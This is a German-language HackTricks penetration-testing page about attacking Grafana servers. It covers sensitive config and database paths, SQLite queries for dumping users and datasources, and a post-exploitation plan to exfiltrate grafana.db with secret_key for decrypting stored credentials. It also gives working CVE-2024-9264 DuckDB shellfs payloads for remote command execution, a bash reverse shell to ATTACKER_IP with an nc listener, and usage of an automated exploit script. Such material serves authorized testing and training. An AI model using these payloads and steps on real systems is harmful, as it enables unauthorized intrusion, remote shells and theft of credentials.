Grafana

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Interessantes

  • Die Hauptkonfiguration befindet sich normalerweise in /etc/grafana/grafana.ini (Deb/RPM) und kann sensible Werte wie admin_user, admin_password, secret_key, OAuth-Einstellungen, SMTP-Credentials und Renderer-Tokens enthalten.
  • Standardmäßig speichert Grafana Daten in SQLite3 unter /var/lib/grafana/grafana.db.
  • Provisioning-Dateien sind nach Zugriff auf den Host sehr interessant:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • Die Expansion von Environment-Variablen wird in Provisioning-Dateien unterstützt, daher offenbart leaked YAML oft sowohl Secrets als auch die zugrunde liegenden Env-Variablennamen.
  • Installierte Plugins findet man üblicherweise unter /var/lib/grafana/plugins.
  • Innerhalb der Plattform kannst du je nach Rolle Personen einladen, generate API keys / service account tokens, Plugins auflisten, oder neue Plugins installieren.
  • Auch der Browser ist Beute: Grafana stellt nicht-geheime Datasource-Konfigurationen im Frontend bereit. Wenn du eine Viewer-Sitzung hast (oder anonymous access aktiviert ist), prüfe window.grafanaBootData in den DevTools.

Nützliche SQLite-Abfragen:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Auslesen von Dataquellen und Geheimnissen

Grafana trennt im Browser lesbare Konfiguration von verschlüsselten Geheimnissen:

  • jsonData ist im Browser für Benutzer sichtbar und reicht häufig aus, um interne Hosts, Tenants, Auth-Modi, Header-Namen, AWS-Regionen, Elasticsearch-Indizes, Loki-Tenants, Prometheus-URLs und ähnliche Recon-Daten zu enumerieren.
  • secureJsonData ist serverseitig verschlüsselt und nach dem Speichern der Datasource im Browser nicht mehr lesbar.

Post-Exploitation-Ablauf:

  1. grafana.ini auslesen und secret_key wiederherstellen.
  2. grafana.db und Provisioning-Dateien exfiltrieren.
  3. Dataquellen und Plugin-Konfiguration enumerieren, um wiederverwendbare Anmeldedaten und interne Endpunkte zu finden.
  4. Beim Migrieren oder Wiederherstellen der Datenbank in einer anderen Grafana-Instanz den gleichen secret_key beibehalten; sonst lassen sich gespeicherte Datasource-Passwörter/Token nicht korrekt entschlüsseln.

Warum secret_key in neueren Versionen wichtig ist:

  • Seit Grafana v9 verwenden Datenbank-Secrets Envelope-Verschlüsselung.
  • Grafana verschlüsselt Secrets mit data encryption keys (DEKs), und diese DEKs werden mit einem key encryption key (KEK) verschlüsselt, der aus secret_key abgeleitet ist.
  • Aus Sicht eines Angreifers ist grafana.db + secret_key das Paar, das sich zu stehlen lohnt.

Angriffsfläche von Plugins

Behandle Plugins als Teil des Ziels, nicht als Fußnote:

  • Aus dem Dateisystem, aus der UI oder aus der API auflisten:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Ältere oder Drittanbieter-Plugins erweitern regelmäßig Grafanas Reichweite in interne Netzwerke, weil sie HTTP-Anfragen proxyen oder mit lokalen Dateien/Datenbanken interagieren.
  • Jüngste Beispiele umfassen SSRF im Infinity-Plugin (< 3.4.1) und Missbrauchspfade, bei denen das Image Renderer-Plugin einen anderen Bug in full-read SSRF verwandelt.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

Grafana’s experimentelles SQL Expressions-Feature kann DuckDB-Queries auswerten, die benutzerkontrollierten Text einbetten. Unzureichende Sanitization erlaubt es Angreifern, DuckDB-Anweisungen zu verketten und die Community-Extension shellfs zu laden, die Shell-Befehle über pipe-gestützte virtuelle Dateien exponiert.

Impact

  • Jeder authentifizierte Benutzer mit VIEWER oder höher kann Codeausführung als der Grafana-OS-Benutzer erreichen (häufig grafana; manchmal root innerhalb eines Containers) oder lokale Dateien auslesen.
  • Häufig in echten Deployments erfüllte Voraussetzungen:
  • SQL Expressions aktiviert: expressions.enabled = true
  • duckdb-Binary im PATH auf dem Server vorhanden

Quick checks

  • In der UI/API: Admin-Einstellungen aufrufen (Swagger: /swagger-ui, Endpoint /api/admin/settings) um zu bestätigen:
  • expressions.enabled ist true
  • Optional: Version, Datasource-Typen und allgemeine Hardening-Einstellungen
  • Shell auf dem Host: which duckdb muss für den untenstehenden Exploit-Pfad auflösbar sein.

Manual query pattern using DuckDB + shellfs

  • Abuse flow (2 queries):
  1. Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
  2. Read back the temp file using read_blob

Example SQL Expressions payloads that get passed to DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Ersetze CMD durch den gewünschten Befehl. Für file-read (LFI) kannst du stattdessen DuckDB file functions verwenden, um lokale Dateien zu lesen.

Einzeiliger reverse shell — Beispiel

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Bette das als CMD in die erste Anfrage ein, während du einen Listener laufen hast: nc -lnvp 443.

Automatisierter PoC

Verwendungsbeispiel

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Wenn die Ausgabe uid=0(root) zeigt, läuft Grafana als root (häufig in einigen Containern).

2025 client-side traversal / open redirect chain

Die 2025 Grafana client-side traversal und open-redirect chain ist bereits in allgemeineren clientseitigen Seiten dokumentiert. Verwende diese Techniken gegen Grafana-spezifische Pfade wie plugin assets, dashboard script loaders und token-rotation redirects:

Client Side Path Traversal

Open Redirect

Quellen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks